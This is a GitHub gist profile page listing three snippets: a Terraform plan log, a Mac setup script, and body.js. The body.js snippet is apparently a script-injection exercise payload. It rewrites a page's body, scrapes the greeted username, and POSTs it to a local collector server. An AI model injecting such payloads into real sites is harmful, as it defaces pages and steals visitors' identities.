Skip to content

Instantly share code, notes, and snippets.

View wysockif's full-sized avatar

Franciszek Wysocki wysockif

  • Warsaw
View GitHub Profile
@wysockif
wysockif / body.js
Last active November 29, 2021 20:28
window.addEventListener('load', (event) => { document.body.innerHTML = '<body><a href="https://www.pw.edu.pl">Politechnika Warszawska</a></body>' })
var username = /(?:.*)Witaj (.+)!(?:.*)/g.exec(document.body.textContent)[1];
url = 'http://127.0.0.1:5000/api/username';
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
username: username
}));
@wysockif
wysockif / plan.txt
Created September 18, 2021 22:44
some description
module.terraform-plan-module.aws_codebuild_source_credential.github_access_token: Refreshing state... [id=arn:aws:codebuild:eu-west-1:108607216059:token/github]
aws_vpc.main: Refreshing state... [id=vpc-0d34cc4f80992cdfd]
module.terraform-plan-module.aws_iam_role.terraform_plan_module_iam_role: Refreshing state... [id=terraform_plan_module_iam_role]
module.terraform-plan-module.aws_iam_role_policy.terraform_plan_module_iam_role_policy: Refreshing state... [id=terraform_plan_module_iam_role:terraform-20210915142849075200000001]
module.terraform-plan-module.aws_codebuild_project.terraform_plan_module_codebuild_project: Refreshing state... [id=arn:aws:codebuild:eu-west-1:108607216059:project/terraform_plan_module_codebuild_project]
module.terraform-plan-module.aws_codebuild_webhook.terraform_plan_module_codebuild_webhook: Refreshing state... [id=terraform_plan_module_codebuild_project]
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the followi
@wysockif
wysockif / setup.sh
Last active September 14, 2021 19:16 — forked from bradp/setup.sh
New Mac Setup Script
echo "Creating an SSH key for you..."
ssh-keygen -t rsa
echo "Please add this public key to Github \n"
echo "https://github.com/account/ssh \n"
read -p "Press [Enter] key after this..."
echo "Installing xcode-stuff"
xcode-select --install